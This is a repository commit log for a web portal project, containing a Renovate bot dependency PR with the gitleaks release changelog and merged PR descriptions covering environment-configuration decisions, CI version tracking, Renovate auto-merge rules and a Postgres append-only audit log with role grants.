- [`1f323d8`](https://github.com/gitleaks/gitleaks/commit/1f323d8) fix(cmd): read log-opts before GitLogCmd ([#&#8203;1730](https://github.com/gitleaks/gitleaks/issues/1730))

### [`v8.23.2`](https://github.com/gitleaks/gitleaks/releases/tag/v8.23.2)

[Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.23.1...v8.23.2)

##### Changelog

- [`d88bc09`](https://github.com/gitleaks/gitleaks/commit/d88bc09) facebook keyword
- [`3fdaefd`](https://github.com/gitleaks/gitleaks/commit/3fdaefd) fix(meraki): restrict keyword case ([#&#8203;1722](https://github.com/gitleaks/gitleaks/issues/1722))
- [`f3ae52e`](https://github.com/gitleaks/gitleaks/commit/f3ae52e) feat(generic-api-key): detect base64 ([#&#8203;1598](https://github.com/gitleaks/gitleaks/issues/1598))
- [`d6a828a`](https://github.com/gitleaks/gitleaks/commit/d6a828a) great branch name ([#&#8203;1721](https://github.com/gitleaks/gitleaks/issues/1721))
- [`d2ffffe`](https://github.com/gitleaks/gitleaks/commit/d2ffffe) fix(git): remove .git suffix for links ([#&#8203;1716](https://github.com/gitleaks/gitleaks/issues/1716))
- [`a43dc0d`](https://github.com/gitleaks/gitleaks/commit/a43dc0d) chore: refine generic-api-key fps + trace logging ([#&#8203;1720](https://github.com/gitleaks/gitleaks/issues/1720))
- [`69ed20e`](https://github.com/gitleaks/gitleaks/commit/69ed20e) fix(generate): move newline out of char range ([#&#8203;1719](https://github.com/gitleaks/gitleaks/issues/1719))
- [`52b895a`](https://github.com/gitleaks/gitleaks/commit/52b895a) newline literal ([#&#8203;1718](https://github.com/gitleaks/gitleaks/issues/1718))
- [`3f4d91f`](https://github.com/gitleaks/gitleaks/commit/3f4d91f) build: support either stdlib or 3rd-party regexp ([#&#8203;1706](https://github.com/gitleaks/gitleaks/issues/1706))
- [`049f5b2`](https://github.com/gitleaks/gitleaks/commit/049f5b2) chore(detect): update trace logging ([#&#8203;1713](https://github.com/gitleaks/gitleaks/issues/1713))
- [`7a6183d`](https://github.com/gitleaks/gitleaks/commit/7a6183d) feat(git): redact passwords from remote URL ([#&#8203;1709](https://github.com/gitleaks/gitleaks/issues/1709))
- [`3c7f3f0`](https://github.com/gitleaks/gitleaks/commit/3c7f3f0) feat(git): include link in report ([#&#8203;1698](https://github.com/gitleaks/gitleaks/issues/1698))
- [`0e3f4f7`](https://github.com/gitleaks/gitleaks/commit/0e3f4f7) chore: reduce generic-api-key fps ([#&#8203;1707](https://github.com/gitleaks/gitleaks/issues/1707))
- [`3ed8567`](https://github.com/gitleaks/gitleaks/commit/3ed8567) blorp
- [`e977850`](https://github.com/gitleaks/gitleaks/commit/e977850) added new rule for cisco meraki api key ([#&#8203;1700](https://github.com/gitleaks/gitleaks/issues/1700))
- [`ad7a4fb`](https://github.com/gitleaks/gitleaks/commit/ad7a4fb) feat: general fp tweaks ([#&#8203;1703](https://github.com/gitleaks/gitleaks/issues/1703))
- [`b2cf03c`](https://github.com/gitleaks/gitleaks/commit/b2cf03c) chore(generate): use \x60 instead of literal ([#&#8203;1702](https://github.com/gitleaks/gitleaks/issues/1702))
- [`a3f623c`](https://github.com/gitleaks/gitleaks/commit/a3f623c) chore(regex): simplify secretPrefix, suffix ([#&#8203;1620](https://github.com/gitleaks/gitleaks/issues/1620))
- [`cc71bb1`](https://github.com/gitleaks/gitleaks/commit/cc71bb1) update version for pre-commit in README.md ([#&#8203;1699](https://github.com/gitleaks/gitleaks/issues/1699))

### [`v8.23.1`](https://github.com/gitleaks/gitleaks/releases/tag/v8.23.1)

[Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.23.0...v8.23.1)

##### Changelog

- [`7bad9f7`](https://github.com/gitleaks/gitleaks/commit/7bad9f7) chore(gcp): add firebase example keys to the gcp-api-key allowlists ([#&#8203;1635](https://github.com/gitleaks/gitleaks/issues/1635))
- [`977236c`](https://github.com/gitleaks/gitleaks/commit/977236c) fix: unaligned 64-bit atomic operation panic ([#&#8203;1696](https://github.com/gitleaks/gitleaks/issues/1696))
- [`a211b16`](https://github.com/gitleaks/gitleaks/commit/a211b16) force push to master everyday
- [`0e5f644`](https://github.com/gitleaks/gitleaks/commit/0e5f644) feat(config): disable extended rule ([#&#8203;1535](https://github.com/gitleaks/gitleaks/issues/1535))
- [`f320a60`](https://github.com/gitleaks/gitleaks/commit/f320a60) style: prevent globbing and word splitting ([#&#8203;1543](https://github.com/gitleaks/gitleaks/issues/1543))
- [`c4526b2`](https://github.com/gitleaks/gitleaks/commit/c4526b2) refactor(generic-api-key): remove hard-coded 'magic' ([#&#8203;1600](https://github.com/gitleaks/gitleaks/issues/1600))
- [`748076d`](https://github.com/gitleaks/gitleaks/commit/748076d) chore(generate): add failing test case ([#&#8203;1690](https://github.com/gitleaks/gitleaks/issues/1690))

### [`v8.23.0`](https://github.com/gitleaks/gitleaks/releases/tag/v8.23.0)

[Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.22.1...v8.23.0)

##### Changelog

- [`db8e5e6`](https://github.com/gitleaks/gitleaks/commit/db8e5e6) feat(generate): use multiple allowlists ([#&#8203;1691](https://github.com/gitleaks/gitleaks/issues/1691))
- [`973c794`](https://github.com/gitleaks/gitleaks/commit/973c794) chore(rules): include fps in reference ([#&#8203;1471](https://github.com/gitleaks/gitleaks/issues/1471))
- [`f0d4499`](https://github.com/gitleaks/gitleaks/commit/f0d4499) Add comma as operator for GenerateSemiGenericRegex ([#&#8203;1679](https://github.com/gitleaks/gitleaks/issues/1679))
- [`ab38a46`](https://github.com/gitleaks/gitleaks/commit/ab38a46) refactor: central logger ([#&#8203;1692](https://github.com/gitleaks/gitleaks/issues/1692))
- [`b022d1c`](https://github.com/gitleaks/gitleaks/commit/b022d1c) friendship ended with tines

READ THIS!!! The default gitleaks config now uses `[[rules.allowlists]]`

```toml

##### ⚠️ In v8.21.0 `[rules.allowlist]` was replaced with `[[rules.allowlists]]`.
##### This change was backwards-compatible: instances of `[rules.allowlist]` still  work.
    #

##### You can define multiple allowlists for a rule to reduce false positives.
##### A finding will be ignored if _ANY_ `[[rules.allowlists]]` matches.
    [[rules.allowlists]]
    description = "ignore commit A"

##### When multiple criteria are defined the default condition is "OR".
##### e.g., this can match on |commits| OR |paths| OR |stopwords|.
    condition = "OR"
    commits = [ "commit-A", "commit-B"]
    paths = [
      '''go\.mod''',
      '''go\.sum'''
    ]

##### note: stopwords targets the extracted secret, not the entire regex match
##### like 'regexes' does. (stopwords introduced in 8.8.0)
    stopwords = [
      '''client''',
      '''endpoint''',
    ]

    [[rules.allowlists]]

##### The "AND" condition can be used to make sure all criteria match.
##### e.g., this matches if |regexes| AND |paths| are satisfied.
    condition = "AND"

##### note: |regexes| defaults to check the _Secret_ in the finding.
##### Acceptable values for |regexTarget| are "secret" (default), "match", and "line".
    regexTarget = "match"
    regexes = [ '''(?i)parseur[il]''' ]
    paths = [ '''package-lock\.json''' ]
```

### [`v8.22.1`](https://github.com/gitleaks/gitleaks/releases/tag/v8.22.1)

[Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.22.0...v8.22.1)

##### Changelog

- [`b69b515`](https://github.com/gitleaks/gitleaks/commit/b69b515) Entropy trace ([#&#8203;1659](https://github.com/gitleaks/gitleaks/issues/1659))
- [`7357adc`](https://github.com/gitleaks/gitleaks/commit/7357adc) build: add 'toolchain' to go.mod ([#&#8203;1682](https://github.com/gitleaks/gitleaks/issues/1682))
- [`4c3da6e`](https://github.com/gitleaks/gitleaks/commit/4c3da6e) refactor(detect): create readUntilSafeBoundary + add tests ([#&#8203;1676](https://github.com/gitleaks/gitleaks/issues/1676))
- [`dbe3746`](https://github.com/gitleaks/gitleaks/commit/dbe3746) twitter really does suck ass now
- [`7edfc6b`](https://github.com/gitleaks/gitleaks/commit/7edfc6b) chore(tests): test cases for generate.go ([#&#8203;1623](https://github.com/gitleaks/gitleaks/issues/1623))
- [`efe40ca`](https://github.com/gitleaks/gitleaks/commit/efe40ca) fix: only use non-empty secret groups ([#&#8203;1632](https://github.com/gitleaks/gitleaks/issues/1632))
- [`7cb5f6f`](https://github.com/gitleaks/gitleaks/commit/7cb5f6f) build: upgrade sprig v2->v3 ([#&#8203;1674](https://github.com/gitleaks/gitleaks/issues/1674))
- [`2930537`](https://github.com/gitleaks/gitleaks/commit/2930537) fix: generate report file even if no findings ([#&#8203;1673](https://github.com/gitleaks/gitleaks/issues/1673))

### [`v8.22.0`](https://github.com/gitleaks/gitleaks/releases/tag/v8.22.0)

[Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.21.4...v8.22.0)

##### Changelog

- [`a91c671`](https://github.com/gitleaks/gitleaks/commit/a91c671) replace std library regex engine with go-re2 ([#&#8203;1669](https://github.com/gitleaks/gitleaks/issues/1669))

***

This bumps the gitleaks binary size from around 8.5MB to 15MB but yields 2-4x speedup. Worth it imo. If you feel strongly against this change feel free to open an issue where we can discuss the tradeoffs in more depth. Credit to [@&#8203;ahrav](https://github.com/ahrav)

### [`v8.21.4`](https://github.com/gitleaks/gitleaks/releases/tag/v8.21.4)

[Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.21.3...v8.21.4)

##### Changelog

- [`906085f`](https://github.com/gitleaks/gitleaks/commit/906085f) Update golang version to 1.23 ([#&#8203;1672](https://github.com/gitleaks/gitleaks/issues/1672))
- [`8a83062`](https://github.com/gitleaks/gitleaks/commit/8a83062) log bytes ([#&#8203;1670](https://github.com/gitleaks/gitleaks/issues/1670))

### [`v8.21.3`](https://github.com/gitleaks/gitleaks/releases/tag/v8.21.3)

[Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.21.2...v8.21.3)

##### Changelog

- [`a9e6d8c`](https://github.com/gitleaks/gitleaks/commit/a9e6d8c) go mod 1.23
- [`2f73a3e`](https://github.com/gitleaks/gitleaks/commit/2f73a3e) Ensure keywords are downcased ([#&#8203;1633](https://github.com/gitleaks/gitleaks/issues/1633))
- [`f696605`](https://github.com/gitleaks/gitleaks/commit/f696605) feat: add settlemint api keys detection ([#&#8203;1663](https://github.com/gitleaks/gitleaks/issues/1663))
- [`0bf13fc`](https://github.com/gitleaks/gitleaks/commit/0bf13fc) feat(dir): better chunking ([#&#8203;1665](https://github.com/gitleaks/gitleaks/issues/1665))
- [`83e99ba`](https://github.com/gitleaks/gitleaks/commit/83e99ba) feat(report): allow user-defined templates ([#&#8203;1650](https://github.com/gitleaks/gitleaks/issues/1650))
- [`e393d29`](https://github.com/gitleaks/gitleaks/commit/e393d29) Add support for GitLab routable tokens ([#&#8203;1656](https://github.com/gitleaks/gitleaks/issues/1656))
- [`263ce82`](https://github.com/gitleaks/gitleaks/commit/263ce82) Add freemius secret key detection ([#&#8203;1611](https://github.com/gitleaks/gitleaks/issues/1611))
- [`3c0e068`](https://github.com/gitleaks/gitleaks/commit/3c0e068) fix(kubernetes): only match 'kind: secret' ([#&#8203;1649](https://github.com/gitleaks/gitleaks/issues/1649))
- [`f3adda0`](https://github.com/gitleaks/gitleaks/commit/f3adda0) feat: use STDOUT when report file not specified ([#&#8203;1642](https://github.com/gitleaks/gitleaks/issues/1642))
- [`ed205a5`](https://github.com/gitleaks/gitleaks/commit/ed205a5) fix(dir): skip opening file\&dir if allowlist matches ([#&#8203;1653](https://github.com/gitleaks/gitleaks/issues/1653))
- [`6018012`](https://github.com/gitleaks/gitleaks/commit/6018012) fix: increase chunk size 10kb -> 100kb ([#&#8203;1652](https://github.com/gitleaks/gitleaks/issues/1652))
- [`7f77987`](https://github.com/gitleaks/gitleaks/commit/7f77987) feat: detect sentry.io tokens in the new format ([#&#8203;1640](https://github.com/gitleaks/gitleaks/issues/1640))
- [`48a2e0e`](https://github.com/gitleaks/gitleaks/commit/48a2e0e) refactor: pre-commit hooks ([#&#8203;1627](https://github.com/gitleaks/gitleaks/issues/1627))
- [`4e303d0`](https://github.com/gitleaks/gitleaks/commit/4e303d0) fix(easypost): only detect tokens of correct length ([#&#8203;1628](https://github.com/gitleaks/gitleaks/issues/1628))
- [`c1add1d`](https://github.com/gitleaks/gitleaks/commit/c1add1d) feat(dir): continue on permission error ([#&#8203;1621](https://github.com/gitleaks/gitleaks/issues/1621))
- [`202106a`](https://github.com/gitleaks/gitleaks/commit/202106a) Add human readable description for curl rules ([#&#8203;1625](https://github.com/gitleaks/gitleaks/issues/1625))
- [`8e94f98`](https://github.com/gitleaks/gitleaks/commit/8e94f98) Add option to include `Line` field in report ([#&#8203;1616](https://github.com/gitleaks/gitleaks/issues/1616))
- [`dbb42a7`](https://github.com/gitleaks/gitleaks/commit/dbb42a7) hm (great comment)
- [`2599460`](https://github.com/gitleaks/gitleaks/commit/2599460) Update README.md
- [`8ffb980`](https://github.com/gitleaks/gitleaks/commit/8ffb980) nop for stupid build
- [`4181ad6`](https://github.com/gitleaks/gitleaks/commit/4181ad6) Add new jira api token pattern ([#&#8203;1601](https://github.com/gitleaks/gitleaks/issues/1601))
- [`48ea14b`](https://github.com/gitleaks/gitleaks/commit/48ea14b) feat: update global & generic allowlist ([#&#8203;1618](https://github.com/gitleaks/gitleaks/issues/1618))
- [`81f0002`](https://github.com/gitleaks/gitleaks/commit/81f0002) fix(vault-service-token): ensure that TPS contains digits ([#&#8203;1614](https://github.com/gitleaks/gitleaks/issues/1614))
- [`c11adc9`](https://github.com/gitleaks/gitleaks/commit/c11adc9) Generate comprehensive secret samples ([#&#8203;1484](https://github.com/gitleaks/gitleaks/issues/1484))
- [`d1d9054`](https://github.com/gitleaks/gitleaks/commit/d1d9054) fix(aws): detect token in url ([#&#8203;1615](https://github.com/gitleaks/gitleaks/issues/1615))
- [`5fe58bf`](https://github.com/gitleaks/gitleaks/commit/5fe58bf) fix(rules): entropy, uppercase in samples ([#&#8203;1593](https://github.com/gitleaks/gitleaks/issues/1593))
- [`5c2e813`](https://github.com/gitleaks/gitleaks/commit/5c2e813) feat: tweak rules ([#&#8203;1608](https://github.com/gitleaks/gitleaks/issues/1608))

### [`v8.21.2`](https://github.com/gitleaks/gitleaks/releases/tag/v8.21.2)

[Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.21.1...v8.21.2)

##### Changelog

- [`43fae35`](https://github.com/gitleaks/gitleaks/commit/43fae35) feat(rules): create Octopus Deploy api key ([#&#8203;1602](https://github.com/gitleaks/gitleaks/issues/1602))
- [`a158e4f`](https://github.com/gitleaks/gitleaks/commit/a158e4f) fix(aws-access-token): only match if correct length ([#&#8203;1584](https://github.com/gitleaks/gitleaks/issues/1584))
- [`b6e0eee`](https://github.com/gitleaks/gitleaks/commit/b6e0eee) fix(config): ignore jquery/swagger w/o version ([#&#8203;1607](https://github.com/gitleaks/gitleaks/issues/1607))
- [`722e7d8`](https://github.com/gitleaks/gitleaks/commit/722e7d8) feat: add new GitLab tokens ([#&#8203;1560](https://github.com/gitleaks/gitleaks/issues/1560))
- [`961f2e6`](https://github.com/gitleaks/gitleaks/commit/961f2e6) feat(generic-api-key): tune false positives ([#&#8203;1606](https://github.com/gitleaks/gitleaks/issues/1606))
- [`e734fcf`](https://github.com/gitleaks/gitleaks/commit/e734fcf) Create .gitleaks.toml ([#&#8203;1605](https://github.com/gitleaks/gitleaks/issues/1605))
- [`7206d6b`](https://github.com/gitleaks/gitleaks/commit/7206d6b) feat(curl): tweak tps and fps ([#&#8203;1603](https://github.com/gitleaks/gitleaks/issues/1603))
- [`2db25f1`](https://github.com/gitleaks/gitleaks/commit/2db25f1) feat(config): ignore swagger-ui assets ([#&#8203;1604](https://github.com/gitleaks/gitleaks/issues/1604))
- [`e97695b`](https://github.com/gitleaks/gitleaks/commit/e97695b) feat(generic-api-key): exclude keywords ([#&#8203;1587](https://github.com/gitleaks/gitleaks/issues/1587))
- [`0afb525`](https://github.com/gitleaks/gitleaks/commit/0afb525) feat(okta): bump entropy to 4 ([#&#8203;1599](https://github.com/gitleaks/gitleaks/issues/1599))
- [`2068870`](https://github.com/gitleaks/gitleaks/commit/2068870) feat: update global allowlist ([#&#8203;1597](https://github.com/gitleaks/gitleaks/issues/1597))
- [`8cf93b9`](https://github.com/gitleaks/gitleaks/commit/8cf93b9) refactor(allowlist): deduplicate commits & keywords ([#&#8203;1596](https://github.com/gitleaks/gitleaks/issues/1596))
- [`50c2818`](https://github.com/gitleaks/gitleaks/commit/50c2818) feat(config): ignore jquery static assets ([#&#8203;1595](https://github.com/gitleaks/gitleaks/issues/1595))
- [`455ae0a`](https://github.com/gitleaks/gitleaks/commit/455ae0a) More rule fixes ([#&#8203;1586](https://github.com/gitleaks/gitleaks/issues/1586))
- [`5407c44`](https://github.com/gitleaks/gitleaks/commit/5407c44) chore: log skipped symlinks ([#&#8203;1591](https://github.com/gitleaks/gitleaks/issues/1591))
- [`d03d6c4`](https://github.com/gitleaks/gitleaks/commit/d03d6c4) feat: match left side of identifier ([#&#8203;1585](https://github.com/gitleaks/gitleaks/issues/1585))
- [`851c11a`](https://github.com/gitleaks/gitleaks/commit/851c11a) what secrets?
- [`8cfa6b2`](https://github.com/gitleaks/gitleaks/commit/8cfa6b2) fix(rules): add entropy ([#&#8203;1580](https://github.com/gitleaks/gitleaks/issues/1580))
- [`9152eaa`](https://github.com/gitleaks/gitleaks/commit/9152eaa) feat(aws): add entropy & allowlist ([#&#8203;1582](https://github.com/gitleaks/gitleaks/issues/1582))
- [`93acc6e`](https://github.com/gitleaks/gitleaks/commit/93acc6e) feat(rules): add 1password token ([#&#8203;1583](https://github.com/gitleaks/gitleaks/issues/1583))
- [`83a5724`](https://github.com/gitleaks/gitleaks/commit/83a5724) feat(config): add curl header rule ([#&#8203;1576](https://github.com/gitleaks/gitleaks/issues/1576))

### [`v8.21.1`](https://github.com/gitleaks/gitleaks/releases/tag/v8.21.1)

[Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.21.0...v8.21.1)

##### Changelog

- [`cf5334f`](https://github.com/gitleaks/gitleaks/commit/cf5334f) feat: add curl basic auth rule ([#&#8203;1575](https://github.com/gitleaks/gitleaks/issues/1575))
- [`d07b394`](https://github.com/gitleaks/gitleaks/commit/d07b394) Update spelling in README.md ([#&#8203;1574](https://github.com/gitleaks/gitleaks/issues/1574))
- [`5c03fa4`](https://github.com/gitleaks/gitleaks/commit/5c03fa4) refactor(allowlist): use iota for condition ([#&#8203;1569](https://github.com/gitleaks/gitleaks/issues/1569))
- [`12034a7`](https://github.com/gitleaks/gitleaks/commit/12034a7) refactor(config): temporarily switch to \[rules.allowlist] ([#&#8203;1573](https://github.com/gitleaks/gitleaks/issues/1573))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/79
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-10 04:59:32 +02:00
julien 4476cbb518 docs(decisions): add ADR-0018 — environment configuration strategy (#80)
CI / check (push) Successful in 1m36s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m2s
CI / a11y (push) Successful in 1m36s
CI / perf (push) Successful in 3m33s
## Summary

Records the per-environment config strategy for both apps. ADR-only — no code changes; the implementation is anchored in §Confirmation against the next feature work that touches per-environment values.

## What lands

[**ADR-0018 — Environment configuration**](docs/decisions/0018-environment-configuration-strategy.md):

- **SPA**: Angular `environment.ts` + project.json `fileReplacements`. Build-time substitution; no runtime config fetch (rejected for the LCP/TTFB cost it would add and the deploy-time HTML rewrite that the alternatives need). Concretely cleans up the hard-coded URLs we left in `observability/tracing.ts` and `home-status.service.ts` ("hard-coded for v1 — env-config when it lands" comments).
- **BFF**: keep `process.env` + small per-key boot-time validators (the shape `apps/portal-bff/src/config/check-database-url.ts` already follows). `@nestjs/config` rejected as too heavy for the current key count; `zod` not justified yet.
- **Audit log connection**: formalises the `AUDIT_DATABASE_URL` split that ADR-0013 §"Wired as features land" already pointed at. When set, the `AuditModule` instantiates a second Prisma client with `audit_writer`-only credentials (defense in depth); when unset, the dev fallback (shared pool + `SET LOCAL ROLE audit_writer` per transaction) keeps working. A boot-time `UPDATE`-rejection self-test runs against the dedicated pool when configured — refuses to start if the pool can mutate the audit table.

The §Confirmation block cross-references the env-var-as-boot-gate items already pre-figured in ADR-0009 / ADR-0010 / ADR-0012 / ADR-0013 / ADR-0014, so the validator pattern is the single landing place when those features ship.

## What does NOT change in this PR

- No `apps/portal-shell/src/environments/*.ts` files yet — landed alongside the next feature that actually needs per-environment values.
- No `AUDIT_DATABASE_URL` validator in BFF — same; lands when the second pool is wired.
- No CLAUDE.md restructuring; just one extra bullet under the Architecture summary referencing ADR-0018.

## Doc updates

- `docs/decisions/README.md` index — new row for ADR-0018.
- `CLAUDE.md` Architecture summary — one-line reference to ADR-0018 between the perf-budget and local-quality-gates entries.

## Test plan

- [ ] CI green on this PR (`format:check`).
- [ ] ADR-0018 renders in the doc index with the right tags (`frontend`, `backend`, `infrastructure`, `process`) and 2026-05-10 date.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #80
2026-05-10 04:58:02 +02:00
julien 4473b1d4a4 chore(ci): track trivy and gitleaks binary versions via renovate custom manager (#78)
CI / check (push) Successful in 1m28s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 56s
CI / a11y (push) Successful in 56s
CI / perf (push) Successful in 2m18s
## Summary

Until now the Trivy and gitleaks pins in `.gitea/workflows/*.yml` were manual — Renovate's built-in managers only see package-manager-tracked deps (npm, docker-compose images, GitHub Actions, etc.) and ignore plain env vars. The comment in each workflow telling the next contributor to "bump manually from the releases page" is the kind of friction that gets forgotten between two security advisories.

Add a **custom regex manager** that picks up `# renovate: datasource=… depName=…` annotations immediately followed by an env-var assignment of the form `<NAME>_VERSION: '<version>'`. The 4 pins (`TRIVY_VERSION` + `GITLEAKS_VERSION` in both `ci.yml` and `security-scheduled.yml`) get annotated with the `github-releases` datasource and the upstream `owner/repo` depName.

`extractVersionTemplate: ^v?(?<version>.+)$` strips the `v` prefix used by both projects' release tags, so the version substituted into the env var (which our shell script consumes without `v`) stays correct.

## What lands

- **`renovate.json`** — new `customManagers` block. The dashboard triage header is updated to reflect the new tracking (was "not Renovate-tracked yet").
- **`.gitea/workflows/ci.yml`** — annotate the Trivy and gitleaks env vars; remove the dead "manual bump" comments.
- **`.gitea/workflows/security-scheduled.yml`** — same.

## Verified

Node-side dry-run of the regex against both workflow files:

```
ci.yml                       → trivy 0.70.0, gitleaks 8.21.0
security-scheduled.yml       → trivy 0.70.0, gitleaks 8.21.0
```

All 4 expected matches with the right `datasource` / `depName` / `currentValue` captures.

## Test plan

- [ ] CI green on this PR.
- [ ] After merge, the next Renovate run picks up Trivy and gitleaks as detected dependencies in the dashboard. New patch / minor releases should now produce normal Renovate PRs (auto-merging on patches per #74).
- [ ] No manual "bump from the releases page" reminders left in the workflow YAML.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #78
2026-05-10 04:07:06 +02:00
julien 922a44bb50 chore(ci): auto-merge low-risk renovate updates (#77)
CI / check (push) Successful in 1m37s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 1m14s
CI / a11y (push) Successful in 58s
CI / perf (push) Successful in 2m37s
## Summary

After ~10 days of clean Renovate track record (~30 PRs merged without regression beyond the TS/ESLint/webpack-cli majors that the dashboard-approval rule now catches), enable auto-merge on the lowest-risk update types. CI is the gate — `check` / `scan` / `a11y` going red leaves the PR open for manual triage.

| Update type | Pre-PR | Post-PR |
| - | - | - |
| **patch** | manual review | **auto-merge if CI green** |
| **pin** (rolling-tag → fixed-version pin) | manual | **auto-merge if CI green** |
| **digest** (image digest pin refresh) | manual | **auto-merge if CI green** |
| **lockFileMaintenance** (weekly transitive refresh) | manual | **auto-merge if CI green** |
| **minor** | manual review (unchanged) | manual review |
| **major** | dashboard approval (unchanged) | dashboard approval |

`automergeStrategy: "squash"` matches our trunk-based squash-merge convention. `automergeType: "pr"` keeps the PR + CI run as the audit trail (vs branch-direct push), and Gitea auto-merges the PR once green via the bot's existing `repo:write` permission.

## Doc updates

- `renovate.json` `dependencyDashboardHeader` — the "Open" row now reflects the new reality: mostly minors, with red patches surfacing briefly when CI fails.
- `docs/development.md` §"Reviewing Renovate PRs" gains a bullet describing the auto-merge for contributors landing on the project later.

## Test plan

- [ ] CI green on this PR.
- [ ] After merge, the next patch-level Renovate run produces a PR that auto-squashes into `main` once CI clears (visible in the merged log; no human action required).
- [ ] A patch with red CI stays open in "Open" with the `dependencies` label.
- [ ] Minor / major Renovate PRs continue to require human merge.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #77
2026-05-10 03:58:01 +02:00
julien 02ac44e498 feat(portal-bff): audit log foundation per ADR-0013 (#76)
CI / check (push) Successful in 1m52s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 1m7s
CI / a11y (push) Successful in 52s
CI / perf (push) Successful in 2m17s
## Summary

Lays down the append-only audit log per ADR-0013: schema declaration, first migration with role grants, NestJS `AuditWriter` service. Typed event-family methods, the separate `AUDIT_DATABASE_URL` pool, the retention job, and the live-DB integration tests are explicitly listed as "wired as features land" in the ADR's confirmation block — they ship when the matching feature ADRs do.

## What lands

**Prisma schema** ([`apps/portal-bff/prisma/schema.prisma`](apps/portal-bff/prisma/schema.prisma)):

- `multiSchema` preview enabled; datasource declares `public` + `audit` schemas.
- `AuditEvent` model: `id` (uuid), `createdAt`, `eventType` (free-form in v1), `audience` enum (`workforce | customer`), `actorIdHash`, `traceId`, `subject`, `outcome` enum (`success | failure | denied`), `payload` (jsonb).
- Indexes on `createdAt`, `eventType`, `traceId` — covering the three obvious query shapes.

**Migration** ([`prisma/migrations/*_init_audit_schema/migration.sql`](apps/portal-bff/prisma/migrations/20260510011453_init_audit_schema/migration.sql)):

- Standard Prisma `CREATE TABLE` / enums output, then the **append-only contract** re-applied explicitly:
  - `ALTER TABLE/TYPE OWNER TO audit_owner`.
  - `GRANT INSERT` to `audit_writer`, `SELECT` to `audit_reader`, **`SELECT, DELETE`** to `audit_archiver` (SELECT is needed to evaluate the `created_at` predicate of "delete older than retention" — Postgres requires SELECT on every column referenced in DELETE's WHERE).
  - `GRANT USAGE` on the enum types to all three roles (without it `audit_writer.INSERT` fails with "permission denied for type").
  - **No** GRANT for `UPDATE` / `TRUNCATE` to anyone — including `audit_owner` at runtime; only fresh schema migrations amend the table.

**Service** ([`apps/portal-bff/src/audit/`](apps/portal-bff/src/audit/)):

- `AuditWriter.recordEvent(input)` — single entry point. Wraps every INSERT in a transaction whose first statement is `SET LOCAL ROLE audit_writer`, so the role contract holds at runtime even from the otherwise-privileged BFF connection.
- `traceId` auto-resolved from the active OTel span (so audit row joins with traces and Pino logs on the same `trace_id`).
- `actorIdHash` auto-resolved from CLS (key `actorIdHash`) with explicit input-side override; `null` when neither is set (placeholder until ADR-0009 / ADR-0010 guards populate CLS).
- Errors propagate (no catch-and-swallow), per ADR-0013's "blocking writes: no audit ⇒ no action".

**Tests** — 8 unit tests on `AuditWriter` (mocked Prisma + CLS): role-locking ordering, input pass-through, `Prisma.JsonNull` for missing payload, CLS-vs-input precedence on `actorIdHash`, OTel trace capture, error propagation.

## End-to-end verification (manual, against local-dev Postgres)

```
INSERT under audit_writer:   ok
UPDATE under audit_writer:   permission denied for table events
DELETE under audit_writer:   permission denied for table events
DELETE under audit_archiver: ok, row removed (after the SELECT-grant fix)
```

## ADR-0013 §Confirmation rewritten

Two-block split: "wired in foundation PR" lists what landed here; "wired as features land" lists the typed event-family methods, AUDIT_DATABASE_URL connection split, startup self-test probe, retention purge job, salt-shared cross-correlation test, and live-DB role-contract integration tests — each anchored to the feature ADR that triggers it.

## Recovery for anyone with a pre-existing local-dev DB

If your local-dev Postgres already had the audit migration applied **before** the SELECT-grant fix, the archiver's DELETE will fail. Two options:

1. Apply the missing grant directly:
   ```bash
   psql "$DATABASE_URL" -c "GRANT SELECT ON audit.events TO audit_archiver;"
   ```
2. Or wipe the volume and re-migrate cleanly:
   ```bash
   ./infra/local/dev.sh down -v
   ./infra/local/dev.sh up
   pnpm --filter @apf-portal/source exec prisma migrate deploy   # or `cd apps/portal-bff && pnpm exec prisma migrate deploy`
   ```

Fresh DBs land with the corrected migration directly.

## Out of scope (separate PRs)

- Typed event-family methods (`signIn`, `signInFailed`, …) — added per matching feature ADR.
- `AUDIT_DATABASE_URL` separate connection pool — defense-in-depth, when production needs it.
- Startup self-test probe (deliberate failing UPDATE asserting rejection) — lands with the connection split.
- Retention purge job (`audit_archiver` daily cron) — phase-3b infra.
- Live-DB integration tests asserting the role contract — Testcontainers-style harness, separate PR.

## Test plan

- [ ] CI green on this PR.
- [ ] `prisma migrate deploy` succeeds on a fresh DB (the recovery instructions cover the SELECT-grant gap for already-migrated dev DBs).
- [ ] `psql -c "\dp audit.events"` shows the expected privilege matrix: `audit_owner=arwdDxtm/audit_owner`, `audit_writer=a/audit_owner`, `audit_reader=r/audit_owner`, `audit_archiver=rd/audit_owner`.
